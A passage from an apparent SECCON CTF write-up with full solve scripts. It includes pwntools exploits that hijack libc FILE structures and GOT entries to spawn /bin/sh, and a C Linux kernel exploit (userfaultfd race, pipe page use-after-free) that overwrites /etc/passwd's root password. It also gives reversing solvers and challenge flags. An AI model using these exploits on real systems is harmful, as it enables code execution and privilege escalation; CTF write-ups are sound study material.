r.send(packet(1, 1052693, 0)) print(dat:=r.clean(0.2)) leak |= (int(dat.strip().split(b' = ')[1]) % (1<<32)) << 32 print(hex(leak)) libc.address = leak - libc.symbols['_IO_2_1_stdin_'] print(hex(libc.address)) r.send(packet(2, 0x0404080>>2, libc.symbols['_IO_2_1_stderr_'] % (1<<32))) print(dat:=r.clean(0.2)) r.send(packet(2, (0x0404084>>2) - ((libc.symbols['_IO_2_1_stderr_'] % (1<<32))>>2), libc.symbols['_IO_2_1_stderr_'] >>32)) print(dat:=r.clean(0.2)) def brother_may_I_have_some_oats(fp_addr): fp = FileStructure(null=fp_addr+0x68) fp.flags = 0x687320 fp._IO_read_ptr = 0x0 fp._IO_write_base = 0x0 fp._IO_write_ptr = 0x1 fp._wide_data = fp_addr-0x10 payload = bytes(fp) payload = payload[:0xc8] + p64(libc.sym['system']) + p64(fp_addr + 0x60) payload += p64(libc.sym['_IO_wfile_jumps']) return payload payload = brother_may_I_have_some_oats(libc.symbols['_IO_2_1_stderr_']) for i in range(0, len(payload), 4): r.send(packet(2, i>>2, 0)[:-4] + payload[i:i+4]) print(dat:=r.clean(0.2)) r.send(packet(5, 0, 0)) r.interactive() ``` ## Cursed ST C++ stacks are implemented with disjoint arrays. Additionally no bounds are checked when popping from the stack. What will happen is it will just use whatever previous pointer is in the buffer used to store the addresses of the disjoint arrays. However, when the binary is first initialized, the buffer of pointers has nulls as the previous pointer. Thus we will need to move that buffer somewhere else to a chunk with data we contorol. One easy way to do this is to set a very long name which will create freed chunks with our name as the leftover data. Then we can push a lot of data into a stack to fill uip the pointer buffer and cause it to be realloced into one of the freed chunk. Now we can pop all the data pushed and get arb write. Since there is no PIE there are a few intresting places we can write to, the GOT and the string object for name are the ones I used. Writing to the GOT can be used to recall main + some offset to cause the name to be printed again, and writing to the string object we can change the pointer to something else to get a leak. After gaining a libc leak, we can overwrite the GOT entry of operator delete to system and free one of the disjoint arrays of a stack to trigger it. ```python from pwn import * libc = ELF('./libc.so.6') context.arch = 'amd64' #context.log_level = 'debug' def exp(): p = remote('st.seccon.games', 5000) def push_S(val): p.sendline(b'1') p.sendline(str(val).encode()) def pop_S(): p.sendline(b'2') def push_T(val): p.sendline(b'3') p.sendline(str(val).encode()) def pop_T(): p.sendline(b'4') def quit_prog(): p.sendline(b'5') str_ptr = 0x00405308 - 0x1f8 p.recvuntil(b"What's your name?") p.sendline(p64(str_ptr) * 0x2000) p.recvuntil(b'Hello,') p.recvline() for _ in range(700): push_S(0x00405048 - 0x1f8) for _ in range(700): pop_S() pop_S() pop_S() push_S(0x405020) push_S(0x100) pop_S() for _ in range(700): push_T(1) for _ in range(700): pop_T() pop_T() pop_T() push_T(0x004013d5) quit_prog() p.recvuntil(b'Hello, ') libc.address = u64(p.recvn(8)) - libc.symbols['__cxa_atexit'] p.clean() print(hex(libc.address)) pop_S() push_S(next(libc.search(b'/bin/sh'))) push_S(1) push_S(u64(b'/bin/sh\0')) pop_T() push_T(libc.symbols['do_system'] + 2) pop_S() pop_S() p.interactive() if __name__ == '__main__': exp() ``` ## tinyfs In `tiny_fs_file_write` and `tiny_fs_file_read`, we can see that `tiny_fs_find_node_by_ino` is called. This searches for the node and returns it. After returning it doesn't lock. So we can use 2 threads. 1 thread unlinking(deleting) the file, so it deletes the slab. Another threads spraying and writing to the slab. The size of node is 0x1000, so it goes into `kmalloc-4k`. Userfaultfd was enabled, so we can use that to hang on `copy_from_user` inside `tiny_fs_file_write`. I sprayed `pipe_buffers` and overwrite the `page` pointer to get a Page UAF. With this I sprayed file structs and overwrote the mode of `/etc/passwd` to change the root password. ```c #define _GNU_SOURCE #include <fcntl.h> #include <poll.h> #include <pthread.h> #include <sched.h> #include <stdio.h> #include <stdlib.h> #include <string.h> #include <sys/ioctl.h> #include <sys/mman.h> #include <sys/syscall.h> #include <sys/types.h> #include <sys/wait.h> #include <unistd.h> #include <linux/userfaultfd.h> #include <sys/time.h> #include <sys/resource.h> #define PAGE_SIZE 0x1000 #define FAULT_ADDR 0xdead0000 #define NUM_PADDING_PIPES 150 #define NUM_EVIL_PIPES 100 #define PIPE_RESIZE_SZ (64 * PAGE_SIZE) #define FILE_NUM 200 #define PRE_SPRAY_NUM 1000 #define POST_SPRAY_NUM 2000 int pre_fds[PRE_SPRAY_NUM]; int post_fds[POST_SPRAY_NUM]; static int fd_tiny; static long uffd; static char *fault_page; int padding_pipes[NUM_PADDING_PIPES][2]; int evil_pipes[NUM_EVIL_PIPES][2]; void fatal(const char *msg) { perror(msg); exit(1); } void increase_limits() { struct rlimit lim; if (getrlimit(RLIMIT_NOFILE, &lim) < 0) { perror("getrlimit"); exit(1); } lim.rlim_cur = lim.rlim_max; if (setrlimit(RLIMIT_NOFILE, &lim) < 0) { perror("setrlimit"); lim.rlim_cur = 4096; if (setrlimit(RLIMIT_NOFILE, &lim) < 0) { perror("setrlimit fallback"); exit(1); } } printf("[*] Increased FD limit to %lu\n", lim.rlim_cur); } void *uffd_handler(void *arg) { struct uffd_msg msg; char buffer[PAGE_SIZE]; struct pollfd pollfd; pollfd.fd = uffd; pollfd.events = POLLIN; puts("[*] Handler thread waiting for fault..."); poll(&pollfd, 1, -1); if (read(uffd, &msg, sizeof(msg)) != sizeof(msg)) fatal("read uffd"); if (msg.event != UFFD_EVENT_PAGEFAULT) fatal("Unexpected event"); puts("[!] Page fault caught! Kernel is paused."); puts("[*] Unlinking file to trigger kfree(fs_node->data)..."); if (unlink("/mnt/tiny/a") < 0) perror("unlink"); puts("[*] Spraying Evil Pipes (kmalloc-4096)..."); for (int i = 0; i < NUM_EVIL_PIPES; i++) { if (pipe(evil_pipes[i]) < 0) fatal("pipe evil"); if (fcntl(evil_pipes[i][1], F_SETPIPE_SZ, PIPE_RESIZE_SZ) < 0) { perror("fcntl resize"); } } for (int i = 0; i < NUM_EVIL_PIPES; i++) { write(evil_pipes[i][1], &i, sizeof(int)); } puts("[*] Resuming write with LSB overwrite..."); struct uffdio_copy uffdio_copy; memset(buffer, 0, sizeof(buffer)); buffer[0] = 0x40; uffdio_copy.src = (unsigned long)buffer; uffdio_copy.dst = (unsigned long)fault_page; uffdio_copy.len = PAGE_SIZE; uffdio_copy.mode = 0; if (ioctl(uffd, UFFDIO_COPY, &uffdio_copy) == -1) fatal("ioctl UFFDIO_COPY"); } void setup_uffd() { uffd = syscall(__NR_userfaultfd, O_CLOEXEC | O_NONBLOCK); if (uffd == -1) fatal("userfaultfd"); struct uffdio_api uffdio_api = { .api = UFFD_API }; if (ioctl(uffd, UFFDIO_API, &uffdio_api) == -1) fatal("ioctl UFFDIO_API"); fault_page = mmap((void*)FAULT_ADDR, PAGE_SIZE, PROT_READ | PROT_WRITE, MAP_PRIVATE | MAP_ANONYMOUS, -1, 0); if (fault_page == MAP_FAILED) fatal("mmap"); struct uffdio_register uffdio_register = { .range = { .start = (unsigned long)fault_page, .len = PAGE_SIZE }, .mode = UFFDIO_REGISTER_MODE_MISSING }; if (ioctl(uffd, UFFDIO_REGISTER, &uffdio_register) == -1) fatal("ioctl UFFDIO_REGISTER"); } int main() { pthread_t thr; increase_limits(); setup_uffd(); pthread_create(&thr, NULL, uffd_handler, NULL); fd_tiny = open("/mnt/tiny/a", O_RDWR | O_CREAT, 0666); if (fd_tiny < 0) fatal("open /mnt/tiny/a"); puts("[*] Pre-spraying file structs..."); for(int i=0; i<PRE_SPRAY_NUM; i++) { pre_fds[i] = open("/etc/passwd", O_RDONLY); } puts("[*] Triggering write..."); write(fd_tiny, fault_page, 1); pthread_join(thr, NULL); puts("[*] Race completed."); puts("[*] Main: Scanning pipes for overlaps..."); int victim_idx = -1; int attacker_idx = -1; for (int i = 0; i < NUM_EVIL_PIPES; i++) { int val = -1; if (read(evil_pipes[i][0], &val, sizeof(int)) != sizeof(int)) { continue; } if (val != i) { printf("[+] FOUND OVERLAP! Pipe %d (Attacker) points to Page of Pipe %d (Victim)\n", i, val); victim_idx = val; attacker_idx = i; break; } } if (victim_idx == -1) { puts("[-] Failed to find overlap. Exiting."); exit(1); } puts("[*] Closing the Victim Pipe to free the page..."); close(evil_pipes[victim_idx][0]); close(evil_pipes[victim_idx][1]); puts("[*] Cleaning up other pipes..."); for (int i = 0; i < NUM_EVIL_PIPES; i++) { if (i == attacker_idx) continue; if (i == victim_idx) continue; close(evil_pipes[i][0]); close(evil_pipes[i][1]); } puts("[*] Post-spraying file structs..."); for (int i = 0; i < POST_SPRAY_NUM; i++) { post_fds[i] = open("/etc/passwd", O_RDONLY); } usleep(10000); long payload[1]; payload[0] = 0x044f801f00000000; puts("[*] Overwriting f_lock and f_mode..."); write(evil_pipes[attacker_idx][1], payload, 8); char *data = "root:$1$slices$dj.dSsC4E0r9FWbeVtBvC1:0:0:root:/root:/bin/sh\n"; printf("Setting root password to \"slices\"...\n"); int data_size = strlen(data); puts("[*] Editing the passwd file..."); for (int i = 0;i < POST_SPRAY_NUM; i++) { int retval = write(post_fds[i], data, data_size); if (retval > 0) { puts("Passwd successfully updated"); } } for (int i = 0;i < POST_SPRAY_NUM; i++) { close(post_fds[i]); } puts("Run 'su root' with password 'slices' to get a root shell!") return 0; } ``` # Reversing ## Breaking Out Solved by gpt 5.2 high ```py #!/usr/bin/env python3 from __future__ import annotations import base64 import gzip import json import math import re import shutil import subprocess import sys from dataclasses import dataclass from pathlib import Path from typing import Any, Iterable HEX_UINT32_MASK = 0xFFFFFFFF def js_parse_int(s: str) -> float: m = re.match(r"^[ \t\r\n]*([+-]?\d+)", s) if not m: return float("nan") return float(int(m.group(1), 10)) def decode_obf_string(b64: str) -> str: # The obfuscator uses a non-standard base64 alphabet: # 'abcdefghijklmnopqrstuvwxyzABCDEFGHIJKLMNOPQRSTUVWXYZ0123456789+/=' # and then decodeURIComponent(%xx...) which is UTF-8 decoding of the bytes. custom = "abcdefghijklmnopqrstuvwxyzABCDEFGHIJKLMNOPQRSTUVWXYZ0123456789+/=" standard = "ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz0123456789+/=" trans = str.maketrans({c: standard[i] for i, c in enumerate(custom)}) b64_std = b64.translate(trans) b64_std += "=" * ((-len(b64_std)) % 4) raw = base64.b64decode(b64_std) return raw.decode("utf-8") def extract_js_string_array(source: str) -> list[str]: needle = "const _0x49f141=[" start = source.find(needle) if start < 0: raise RuntimeError("failed to find string array start") i = start + len("const _0x49f141=") if i >= len(source) or source[i] != "[": raise RuntimeError("unexpected string array format") depth = 0 in_str: str | None = None escape = False end = None for j in range(i, len(source)): ch = source[j] if in_str is not None: if escape: escape = False continue if ch == "\\": escape = True continue if ch == in_str: in_str = None continue if ch in ("'", '"'): in_str = ch continue if ch == "[": depth += 1 continue if ch == "]": depth -= 1 if depth == 0: end = j + 1 break continue if end is None: raise RuntimeError("failed to find end of string array") array_src = source[i:end] out: list[str] = [] k = 0 while k < len(array_src): if array_src[k] not in ("'", '"'): k += 1 continue quote = array_src[k] k += 1 buf: list[str] = [] escape = False while k < len(array_src): ch = array_src[k] k += 1 if escape: buf.append(ch) escape = False continue if ch == "\\": escape = True continue if ch == quote: break buf.append(ch) out.append("".join(buf)) if not out: raise RuntimeError("parsed empty string table") return out def find_rotation_expression(source: str) -> tuple[str, int, str]: # Find the IIFE that rotates the string array. target_m = re.search(r"\(a0_0x40ef,\s*(0x[0-9a-fA-F]+)\)", source) if not target_m: raise RuntimeError("failed to find rotation target constant") target = int(target_m.group(1), 16) # Function alias used in the rotation expression (e.g., const _0x4b32d2=a0_0x3fa8) alias_m = re.search(r"\(function\([^)]*\)\{const\s+([_$a-zA-Z0-9]+)=a0_0x3fa8", source) if not alias_m: raise RuntimeError("failed to find rotation decoder alias") alias = alias_m.group(1) marker = "try{const _0x536373=" start = source.find(marker) if start < 0: raise RuntimeError("failed to find rotation expression start") start += len(marker) end_marker = ";if(_0x536373===_0x1b34ae)" end = source.find(end_marker, start) if end < 0: raise RuntimeError("failed to find rotation expression end") expr = source[start:end] expr_py = expr.replace("parseInt", "parse_int").replace(alias, "dec") return expr_py, target, alias def rotate_string_table_to_runtime_order(raw_strings: list[str], source: str) -> list[str]: expr_py, target, _alias = find_rotation_expression(source) def dec(idx: int) -> str: pos = idx - 0x1AC if pos < 0 or pos >= len(raw_strings): raise IndexError(idx) return decode_obf_string(raw_strings[pos]) def eval_expr() -> float: return eval( # noqa: S307 - controlled input from local challenge file expr_py, {"__builtins__": {}}, {"parse_int": js_parse_int, "dec": dec}, ) for _ in range(len(raw_strings) * 4): try: val = eval_expr() if math.isfinite(val) and abs(val - float(target)) < 1e-9: return raw_strings except Exception: pass raw_strings.append(raw_strings.pop(0)) raise RuntimeError("failed to rotate string table (did not reach target)") def split_top_level(s: str, sep: str = ",") -> list[str]: parts: list[str] = [] depth_round = depth_square = depth_curly = 0 in_str: str | None = None escape = False last = 0 for i, ch in enumerate(s): if in_str is not None: if escape: escape = False continue if ch == "\\": escape = True continue if ch == in_str: in_str = None continue if ch in ("'", '"'): in_str = ch continue if ch == "(": depth_round += 1 elif ch == ")": depth_round -= 1 elif ch == "[": depth_square += 1 elif ch == "]": depth_square -= 1 elif ch == "{": depth_curly += 1 elif ch == "}": depth_curly -= 1 elif ch == sep and depth_round == depth_square == depth_curly == 0: parts.append(s[last:i].strip()) last = i + 1 tail = s[last:].strip() if tail: parts.append(tail) return parts def parse_js_int(expr: str) -> int: expr = expr.strip() neg = expr.startswith("-") if neg: expr = expr[1:].strip() if expr.startswith("0x") or expr.startswith("0X"): n = int(expr, 16) else: n = int(expr, 10) return -n if neg else n def parse_js_string_literal(expr: str) -> str: expr = expr.strip() if len(expr) < 2 or expr[0] not in ("'", '"') or expr[-1] != expr[0]: raise ValueError(f"not a string literal: {expr!r}") quote = expr[0] body = expr[1:-1] out: list[str] = [] i = 0 while i < len(body): ch = body[i] i += 1 if ch != "\\": out.append(ch) continue if i >= len(body): break esc = body[i] i += 1 if esc in ("\\", "/", quote): out.append(esc) elif esc == "n": out.append("\n") elif esc == "r": out.append("\r") elif esc == "t": out.append("\t") elif esc == "b": out.append("\b") elif esc == "f": out.append("\f") elif esc == "x": out.append(chr(int(body[i : i + 2], 16))) i += 2 elif esc == "u": out.append(chr(int(body[i : i + 4], 16))) i += 4 else: out.append(esc) return "".join(out) @dataclass class Deobf: source: str string_table_raw: list[str] string_table_decoded: list[str] def s(self, idx: int) -> str: return self.string_table_decoded[idx - 0x1AC] def build_deobfuscator(source: str) -> Deobf: raw = extract_js_string_array(source) raw_rot = rotate_string_table_to_runtime_order(raw[:], source) decoded = [decode_obf_string(x) for x in raw_rot] return Deobf(source=source, string_table_raw=raw_rot, string_table_decoded=decoded) def eval_small_js_expr(expr: str, deobf: Deobf, env: dict[str, Any]) -> Any: expr = expr.strip() if not expr: raise ValueError("empty expr") m = re.fullmatch(r"a0_0x9638eb\(\s*(0x[0-9a-fA-F]+)\s*\)", expr) if m: return deobf.s(int(m.group(1), 16)) if (expr[0] == expr[-1]) and expr[0] in ("'", '"'): return parse_js_string_literal(expr) if re.fullmatch(r"[+-]?(?:0x[0-9a-fA-F]+|\d+)", expr): return parse_js_int(expr) if expr.startswith("[") and expr.endswith("]"): inner = expr[1:-1].strip() if not inner: return [] return [eval_small_js_expr(item, deobf, env) for item in split_top_level(inner, ",")] if re.fullmatch(r"[A-Za-z_$][A-Za-z0-9_$]*", expr): if expr not in env: env[expr] = parse_object_definition(expr, deobf, env) return env[expr] raise ValueError(f"unsupported JS expr: {expr!r}") def parse_assignment_statement(stmt: str, target_var: str, deobf: Deobf, env: dict[str, Any]) -> dict[str, Any]: obj: dict[str, Any] = {} for part in split_top_level(stmt, ","): if not part or not part.startswith(target_var + "["): continue lb = part.find("[") rb = part.find("]", lb + 1) if rb < 0: continue eq = part.find("=", rb + 1) if eq < 0: continue prop_expr = part[lb + 1 : rb] val_expr = part[eq + 1 :] prop = eval_small_js_expr(prop_expr, deobf, env) val = eval_small_js_expr(val_expr, deobf, env) obj[str(prop)] = val return obj def parse_object_definition(varname: str, deobf: Deobf, env: dict[str, Any]) -> dict[str, Any]: # Find "<varname>={};" or "const <varname>={};" then parse the next ';'-terminated statement. m = re.search(rf"(?:const\s+)?{re.escape(varname)}\s*=\s*\{{\}}\s*;", deobf.source) if not m: raise KeyError(f"object definition not found for {varname}") after_init = m.end() stmt_end = deobf.source.find(";", after_init) if stmt_end < 0: raise RuntimeError(f"unterminated statement after {varname} init") stmt = deobf.source[after_init:stmt_end] return parse_assignment_statement(stmt, varname, deobf, env) def parse_stage1_config(deobf: Deobf) -> dict[str, Any]: m = re.search(r"const\s+a0_0x21a0d9\s*=\s*(a0_0x[0-9a-f]+)\s*;", deobf.source) if not m: raise RuntimeError("failed to find a0_0x21a0d9 assignment") stage1_var = m.group(1) env: dict[str, Any] = {} stage1_obj = parse_object_definition(stage1_var, deobf, env) return stage1_obj def rc4(key: bytes, data: bytes) -> bytes: if not key: raise ValueError("empty rc4 key") s = list(range(256)) j = 0 for i in range(256): j = (j + s[i] + key[i % len(key)]) & 0xFF s[i], s[j] = s[j], s[i] i = 0 j = 0 out = bytearray(len(data)) for n, b in enumerate(data): i = (i + 1) & 0xFF j = (j + s[i]) & 0xFF s[i], s[j] = s[j], s[i] k = s[(s[i] + s[j]) & 0xFF] out[n] = b ^ k return bytes(out) @dataclass class KeyState: acc1: int acc2: int acc3: int @classmethod def init_for_level(cls, level: dict[str, Any]) -> "KeyState": rows = int(level.get("rows", 0)) cols = int(level.get("cols", 0)) return cls( acc1=0x13572468, acc2=0x24681357, acc3=((rows << 16) ^ cols) & HEX_UINT32_MASK, ) def accumulate(self, v: Any) -> None: try: if isinstance(v, str): num = int(v, 0) else: num = int(v) except Exception: num = 0 x = num & HEX_UINT32_MASK rot = ((x << 7) | (x >> 25)) & HEX_UINT32_MASK self.acc1 = (self.acc1 + x) & HEX_UINT32_MASK self.acc2 = (self.acc2 + rot) & HEX_UINT32_MASK self.acc3 = (self.acc3 + ((x ^ 0x9E3779B9) & HEX_UINT32_MASK)) & HEX_UINT32_MASK def derive_key(self) -> str: return f"{self.acc1:08x}{self.acc2:08x}{self.acc3:08x}" def decrypt_level(cipher_b64: str, key_hex: str) -> dict[str, Any]: cipher = base64.b64decode(cipher_b64) plain = rc4(key_hex.encode("utf-8"), cipher) decompressed = gzip.decompress(plain) return json.loads(decompressed.decode("utf-8")) def derive_next_key_for_level(level: dict[str, Any]) -> str: ks = KeyState.init_for_level(level) for special in level.get("specials") or []: if isinstance(special, dict): ks.accumulate(special.get("value", 0)) else: ks.accumulate(0) return ks.derive_key() def walk_to_stage(level1: dict[str, Any], target_stage: int) -> dict[str, Any]: if target_stage < 1: raise ValueError("target_stage must be >= 1") level = level1 for stage in range(1, target_stage): key = derive_next_key_for_level(level) nxt = level.get("next") or "" if not nxt: raise RuntimeError(f"missing next ciphertext at stage {stage}") level = decrypt_level(nxt, key) return level def write_layout_as_pbm(layout: Iterable[str], path: Path) -> tuple[int, int]: rows = [line.rstrip("\n") for line in layout] h = len(rows) if h == 0: raise ValueError("empty layout") w = len(rows[0]) if any(len(r) != w for r in rows): raise ValueError("non-rectangular layout") # PBM P1: 1=black, 0=white lines = ["P1", f"{w} {h}"] for r in rows: bits = ["1" if ch.upper() == "X" else "0" for ch in r] lines.append(" ".join(bits)) path.write_text("\n".join(lines) + "\n", encoding="ascii") return w, h def write_layout_as_png(layout: Iterable[str], path: Path, *, scale: int = 10, border: int = 4) -> tuple[int, int]: try: from PIL import Image # type: ignore except Exception as exc: # pragma: no cover raise RuntimeError("Pillow (PIL) is required to write PNGs") from exc rows = [line.rstrip("\n") for line in layout] h = len(rows) if h == 0: raise ValueError("empty layout") w = len(rows[0]) if any(len(r) != w for r in rows): raise ValueError("non-rectangular layout") out_w = (w + border * 2) * scale out_h = (h + border * 2) * scale img = Image.new("L", (out_w, out_h), 255) pixels = img.load() for y, row in enumerate(rows): for x, ch in enumerate(row): if ch.upper() != "X": continue x0 = (x + border) * scale y0 = (y + border) * scale for yy in range(y0, y0 + scale): for xx in range(x0, x0 + scale): pixels[xx, yy] = 0 img.save(path) return w, h def try_decode_qr_with_zbar(image_path: Path) -> str | None: if not shutil.which("zbarimg"): return None proc = subprocess.run( ["zbarimg", "-q", str(image_path)], text=True, stdout=subprocess.PIPE, stderr=subprocess.DEVNULL, check=False, ) out = (proc.stdout or "").strip() if ":" in out: _typ, data = out.split(":", 1) return data.strip() return out.strip() or None def main() -> int: game_js = Path("game.js") if not game_js.exists(): print("missing game.js (run from the challenge directory)", file=sys.stderr) return 2 deobf = build_deobfuscator(game_js.read_text("utf-8")) level1 = parse_stage1_config(deobf) level100 = walk_to_stage(level1, 100) layout = level100.get("layout") if not isinstance(layout, list) or not all(isinstance(x, str) for x in layout): print("stage 100 has no string layout", file=sys.stderr) return 1 png_path = Path("stage100.png") try: w, h = write_layout_as_png(layout, png_path) image_path = png_path except Exception: pbm_path = Path("stage100.pbm") w, h = write_layout_as_pbm(layout, pbm_path) image_path = pbm_path flag = try_decode_qr_with_zbar(image_path) if flag: print(flag) return 0 print(f"wrote {image_path} ({w}x{h}); install zbarimg to decode it", file=sys.stderr) return 1 if __name__ == "__main__": raise SystemExit(main()) ``` ```shell= ❯ python solve.py SECCON{H4ve_y0u_3ver_p14yed_Atari?_SQiOIVX6HPtRekE1vTn4} ``` ## Ez Flag Checker The binary is a very simple flag checker that just xors the inputted flag with some data and compares the result with data stored in the binary. ```python key = b'\x65\x78\x70\x61\x6e\x64\x20\x33\x32\x2d\x62\x79\x74\x65\x20\x6b' flag = b'\x03\x15\x13\x03\x11\x55\x1f\x43\x63\x61\x59\xef\xbc\x10\x1f\x43\x54\xa8' ans = b'' for idx, i in enumerate(flag): ans += bytes([i ^ (key[idx&0xf] + idx)]) print(ans[:0x12], hex(len(ans))) ``` ## Mini Bloat `_next\static\chunks\app\page-fdcc665989738875.js` contains the actual expressions we need to satisfy for each day, as a gzipped and base64'd list of JSON objects. We can use something like the following to extract the challenge data: ```python import base64 import gzip import json import pathlib import re js_path = pathlib.Path(r"c:\Users\Kisun\Downloads\mini_bloat.tar\_next\static\chunks\app\page-fdcc665989738875.js") text = js_path.read_text(encoding="utf-8") match = re.search(r'"(H4sIA[^"]+)"', text) if not match: raise SystemExit("Embedded payload not found") compressed = base64.b64decode(match.group(1)) raw = gzip.decompress(compressed) data = json.loads(raw) print(json.dumps(data, indent=2)) ``` We can ask AI for a script that converts these into valid Z3 constraints. Once all the challenges are solved, we can use these values to generate the keystream for the ciphertext (`derive_flag`). ```python import base64 import gzip import hashlib import json import pathlib from dataclasses import dataclass from typing import Dict, List import z3 JS_PATH = pathlib.Path(r"c:\Users\Kisun\Downloads\mini_bloat.tar\_next\static\chunks\app\page-fdcc665989738875.js") def load_puzzle_data() -> List[Dict]: text = JS_PATH.read_text(encoding="utf-8") start = text.index("\"H4sIA") + 1 end = text.index("\"", start) blob = text[start:end] data = json.loads(gzip.decompress(base64.b64decode(blob))) return data @dataclass class BV: value: z3.BitVecRef @staticmethod def _coerce(other): if isinstance(other, BV): return other.value if isinstance(other, z3.BitVecRef): return other if isinstance(other, int): return z3.BitVecVal(other & 0xFFFFFFFF, 32) raise TypeError(f"Unsupported operand type: {type(other)}") def _wrap(self, expr): return BV(expr) # arithmetic def __add__(self, other): return self._wrap(self.value + self._coerce(other)) def __radd__(self, other): return self._wrap(self._coerce(other) + self.value) def __sub__(self, other): return self._wrap(self.value - self._coerce(other)) def __rsub__(self, other): return self._wrap(self._coerce(other) - self.value) def __mul__(self, other): return self._wrap(self.value * self._coerce(other)) def __rmul__(self, other): return self._wrap(self._coerce(other) * self.value) def __neg__(self): return self._wrap(-self.value) # bitwise def __and__(self, other): return self._wrap(self.value & self._coerce(other)) def __rand__(self, other): return self._wrap(self._coerce(other) & self.value) def __or__(self, other): return self._wrap(self.value | self._coerce(other)) def __ror__(self, other): return self._wrap(self._coerce(other) | self.value) def __xor__(self, other): return self._wrap(self.value ^ self._coerce(other)) def __rxor__(self, other): return self._wrap(self._coerce(other) ^ self.value) def __invert__(self): return self._wrap(~self.value) def __lshift__(self, other): shift = self._coerce(other) return self._wrap(self.value << shift) def __rlshift__(self, other): shift = self.value return self._wrap(self._coerce(other) << shift) def __rshift__(self, other): shift = self._coerce(other) return self._wrap(z3.LShR(self.value, shift)) def __rrshift__(self, other): return self._wrap(z3.LShR(self._coerce(other), self.value)) # comparisons def __eq__(self, other): # type: ignore[override] return self.value == self._coerce(other) def __ne__(self, other): # type: ignore[override] return z3.Not(self.__eq__(other)) def solve_day(day_data: Dict) -> int: day = day_data["day"] x = z3.BitVec(f"x_{day}", 32) env = {"x": BV(x)} constraints = [] for expr in day_data["eqExprs"] + day_data["maskExprs"]: python_expr = expr.replace(">>>", ">>").replace("===", "==") constraint = eval(python_expr, {}, env) constraints.append(constraint) solver = z3.Solver() solver.add(constraints) if solver.check() != z3.sat: raise RuntimeError(f"Unsatisfiable constraints for day {day}") model = solver.model() value = model[x].as_long() & 0xFFFFFFFF return value def derive_flag(values: List[int], ciphertext_b64: str, pepper: str) -> str: buf = bytearray() for v in values: buf.extend(((v >> 24) & 0xFF, (v >> 16) & 0xFF, (v >> 8) & 0xFF, v & 0xFF)) pepper_bytes = pepper.encode() payload = pepper_bytes + bytes(buf) + pepper_bytes digest = hashlib.sha256(payload).digest() ciphertext = base64.b64decode(ciphertext_b64) keystream = bytearray() counter = 0 while len(keystream) < len(ciphertext): counter_bytes = counter.to_bytes(4, "big") block = hashlib.sha256(digest + counter_bytes).digest() needed = min(len(block), len(ciphertext) - len(keystream)) keystream.extend(block[:needed]) counter += 1 plaintext = bytes(c ^ k for c, k in zip(ciphertext, keystream)) return plaintext.decode("utf-8") def main(): data = load_puzzle_data() values = [] for day in data: val = solve_day(day) values.append(val) mn = "uJVY4mJFB6T9yppuCdGFmTW1O5GZ06yw4OTVml4VNOw=" pepper = "boolean-advent-2025-pepper" flag = derive_flag(values, mn, pepper) print(flag) if __name__ == "__main__": main() ``` ## Crown Flash gdb revealed an RWX page getting mapped, and scanning the top of the stack shows a pointer into that page -> JIT Dump the RWX page and disassemble it. The tiny routine takes: - `rdi` — user input pointer - `rsi` — length - `rdx` — pointer to a u32 table (lives at virtual `0x21eda0` in the ELF) It also hardcodes: - Key bytes: `[0x42, 0x19, 0x66, 0x99]` - Initial state: `eax = 0x72616e64` (`"dnar"`) - Constants: `Cmul = 0x045d9f3b`, `Cadd = 0x9e3779b9`, `Pad = 0x7ed55d16`, `Tweak = 0xc761c23c` - `r13d` is set to `0x751d4223` with its top bit clear, so the conditional branch on that bit never triggers. Per byte `i`, the loop does the following: ``` state starts at 0x72616e64 key = [0x42, 0x19, 0x66, 0x99] E[i] = table_u32[i] from 0x21eda0 b = input[i] ^ key[i & 3] b = (b + i*Cadd) mod 2^32 state = (state + b) mod 2^32 state = (state * Cmul) mod 2^32 state = (state + rol(state, 7)) mod 2^32 t = state ^ (state >> 16) expect = E[i] ^ ((i+1)*Pad + Tweak) mod 2^32 require t == expect // otherwise fail // carry state to next byte ``` Because only the current byte and current state matter, each position can be brute‑forced over 256 possibilities, updating the state as you go. The table is 37 u32s at file offset `0x1eda0` (vaddr `0x21eda0`): ```python import struct, pathlib data = pathlib.Path("crown_flash").read_bytes() E = list(struct.unpack("<" + "I"*37, data[0x1eda0:0x1eda0+4*37])) ``` ### Solver ```python from pathlib import Path import struct def rol32(x, r): return ((x << r) | (x >> (32 - r))) & 0xffffffff K = [0x42, 0x19, 0x66, 0x99] Cadd = 0x9e3779b9 Cmul = 0x045d9f3b Pad = 0x7ed55d16 Tweak = 0xc761c23c data = Path("crown_flash").read_bytes() E = list(struct.unpack("<" + "I"*37, data[0x1eda0:0x1eda0+4*37])) state = 0x72616e64 flag = [] for i in range(37): expect = (E[i] ^ (((i+1)*Pad + Tweak) & 0xffffffff)) & 0xffffffff for b in range(256): x = b ^ K[i & 3] x = (x + ((i * Cadd) & 0xffffffff)) & 0xffffffff s = (state + x) & 0xffffffff s = (s * Cmul) & 0xffffffff s = (s + rol32(s, 7)) & 0xffffffff if (s ^ (s >> 16)) & 0xffffffff == expect: flag.append(b) state = s break print(bytes(flag).decode()) # SECCON{good->sPLqsLsooJY,EFwBU8Std7Y} ``` ### Flag ``` SECCON{good->sPLqsLsooJY,EFwBU8Std7Y} ``` ## aeppel The applescript was a stub that unpacked and executed another embedded, obfuscated script. I extracted the inner script, ran applescript-disassembler, and passed it to slop. At a high level: - Input is trimmed; total length must be 24. - Prefix is built by `Roppongi([0x53,45,43,43,4f,4e,0x7b,0x07])` → `"SECCON{"`. - Suffix is built by `Otemachi(0x7d)` → `"}"`. - The middle payload length must be 16. - Four checks on the payload: 1. `Ginza(payload)` = sum of code points mod 256; must equal `0x5f`. 2. `Shimbashi(payload, 0x0d, 0x1abb, 0x1ac8, 4)` must match the literal vector `[0x72,0x83,0x7f,0x7d,0x78,0x82,0x74,0x85,0x78,0x81,0x87,0x75,0x86,0x81,0x4b,0x44]`. 3. `Kanda(payload, seeds=[0x37,0xa9,0x5d], U1F9E7=0x9d, westchester=0x1abb)` must yield the record `{U1F41D:0x7c3, U1F99C:64104, U1F11D:0x1523, U1F41C:0xdc99, U1F41B:0x4d16, len:0x10}`. 4. `Sugamo(payload, same seeds, U1F9E7=0x9d)` (length capped to 6) must yield the record `{U1F41D:62601, U1F99C:65475, U1F11D:65339, len:6}`. In Shimbashi, each output element is: ``` out[i] = ord(payload[i]) + 13 + cycle(4,6,2) // cycle by i % 3 == 1,2,0 ``` Using the target vector, subtracting `13` and the cyclic offset directly reveals the 16 payload bytes: ``` applescriptfun<3 ``` ### Pseudocode ``` Iidabashi(candidate) ns = 